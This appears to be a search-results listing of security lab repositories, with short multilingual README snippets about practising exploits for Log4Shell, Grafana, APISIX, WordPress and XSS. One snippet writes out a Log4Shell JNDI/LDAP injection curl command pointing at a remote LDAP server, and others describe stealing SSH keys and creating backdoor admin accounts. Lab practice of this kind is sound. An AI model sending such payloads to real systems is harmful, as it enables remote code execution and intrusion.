4462 matches found
log4shell_lab
Laboratorio di exploit log4shell Questo repository è una configurazione a riga singola per il laboratorio di exploit log4shell. Configura il laboratorio: docker-compose up -d Esegui l'exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Poi vai al...
CVE-2026-20896
Lab CVE-2026-20896 Questo repository fornisce un piccolo laboratorio autonomo per esplorare il problema CVE-2026-20896 in un ambiente controllato e autorizzato. Panoramica Il laboratorio include: poc.py: il mio script proof-of-concept personalizzato che dimostra il problema ed esporta file di...
CVE-2024-1071-Docker
CVE-2024-1071 con Docker 🎯 Vuoi esercitarti con la nuova CVE di WordPress ? Segui le istruzioni Costruisci il laboratorio 1. Installa Docker : https://docs.docker.com/get-docker/ 2. Clona il progetto : git clone https://github.com/Trackflaw/CVE-2024-1071-Docker.git. 3. Vai al progetto : cd...
CVE-2019-11043
CVE-2019-11043 CVE-2019-11043 LAB...
FlatnuX CMS - Directory Traversal
A path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action. id: CVE-2012-4878 info: name: FlatnuX CMS - Directory Traversal author: daffainfo severity:...
sheepl
sheepl Sheepl : Erstellung realistischen Benutzerverhaltens zur Unterstützung der Tradecraft-Entwicklung in Laborumgebungen Einleitung Es gibt viele Online-Ressourcen, die sich damit befassen, wie man AD-Netzwerkumgebungen für die Entwicklung von Blue Team- und Red Team-Tradecraft aufbauen kann...
cve-2022-24112
Apache APISIX 2.12.1 Esecuzione di codice remoto e laboratorio Docker Facciamo il clone di questo repository usando gitclone, quindi possiamo navigare in apisix-docker/examples. In questo file docker-compose.yml, abbiamo già cambiato in image: apache/apisix:2.12.0-alpine, perché la vulnerabilità ...
Log4shell
Laboratório Log4J Descrição Este é um laboratório para experimentar com o Log4J CVE-2021-44228 Aplicação Springboot + Log4J 2.6.1 Uso root@kitploit: docker build . -t mylog && docker run --rm -p 8081:8080 --name mylog-app mylog...
printnightmare-detection-lab
PrintNightmare Threat Detection & Incident Response Lab CVE-2021-34527 📌 Panoramica Questo progetto documenta un'implementazione end-to-end di monitoraggio della sicurezza, detection engineering e risposta agli incidenti incentrata su PrintNightmare CVE-2021-34527. PrintNightmare è una...
hackviser_labs_CVE-2015-3306
hackviserlabsCVE-2015-3306 Questo è uno script personalizzato che aiuta a risolvere il laboratorio sull'esecuzione remota di codice relativo al CVE-2015-3306. eseguilo usando il seguente comando: python3 exploit.py sostituisci con l'indirizzo che hai ottenuto avviando il laboratorio sulla...
vuln-chain-lab
File Upload Bypass + Stored XSS PoC Labor Eine bewusst verwundbare Webanwendung, die zeigt, wie ein File-Upload-Bypass mit Stored-XSS verkettet wird, um Backdoor-Admin-Konten zu erstellen, selbst wenn CSP-, CORS- und CSRF-Schutzmaßnahmen vorhanden sind. Ausführlicher Blogbeitrag: KurtiseBear Blog...
TCL-xss-Labs
XSS Lab — The Cyber Ledger 💸 Se questo progetto ti aiuta, considera di supportarlo con una donazione di $10 per farlo crescere. Link: https://rzp.io/rzp/zgkC6h5B Una piattaforma interattiva e auto-ospitata per l'addestramento su XSS con 33 sfide progressivamente più difficili — progettata per...
CVE-2025-55182_Vulnerable-Application
CVE-2025-55182 असुरक्षित प्रयोगशाला आधुनिक वेब फ्रेमवर्क में सुरक्षा कमजोरियों को प्रदर्शित करने के लिए असुरक्षित रिएक्ट सर्वर कम्पोनेंट्स का उपयोग करने वाली शैक्षणिक परीक्षण प्रयोगशाला। ⚠️ महत्वपूर्ण अस्वीकरण यह एप्लिकेशन जानबूझकर असुरक्षित है और इसे केवल नियंत्रित वातावरण में शैक्षणिक उद्देश्यों...
AV-EDR-Lab-Environment-Setup
Configuração de Ambiente de Laboratório AV/EDR Inicialmente retirado do Discord da Maldev Academy e adicionados mais recursos. Notas do Notion : https://an0nud4y.notion.site/AV-EDR-Lab-Env-Setup-130bc870022d8071935cc682d3eb34b9?pvs=4 Um exemplo de coisas que podem ser usadas para emular certos...
CVE-2018-5803
CVE-2018-5803 Labor zum Testen von CVE-2018-5803 root@kitploit: vagrant destroy -f vagrant up vagrant reload vagrant provision --provision-with sctp...
kali-CVE-2019-0708-lab
Questo repository non contiene un README...
iot-vuln-lab-cve-2017-17761
iot-vuln-lab-cve-2017-17761 Bildungssimulation zur Ausnutzung von Sicherheitslücken in IoT-Geräten basierend auf CVE-2017-17761...
gpp-encrypt
gpp-encrypt Descrizione Questo piccolo script crittografa la password in cpassword gpp. È utile per creare un lab AD vulnerabile. Requisiti Questo pacchetto richiede: python3 Libreria standard di python3 Installazione root@kitploit: git clone "https://github.com/mauricelambert/gpp-encrypt.git" cd...
LabAutomationCVE-2021-43798
LabAutomationCVE-2021-43798 Ich erstelle ein Skript für die Pentest-Automatisierung, mit dem ich CVE-2021-43798 eine Path-Traversal-Schwachstelle in Grafana ausnutze, um Benutzergeheimnisse SSH-Schlüssel zu stehlen und anschließend Privilegien auf einem Linux-System zu erlangen mittels SUID. Ich...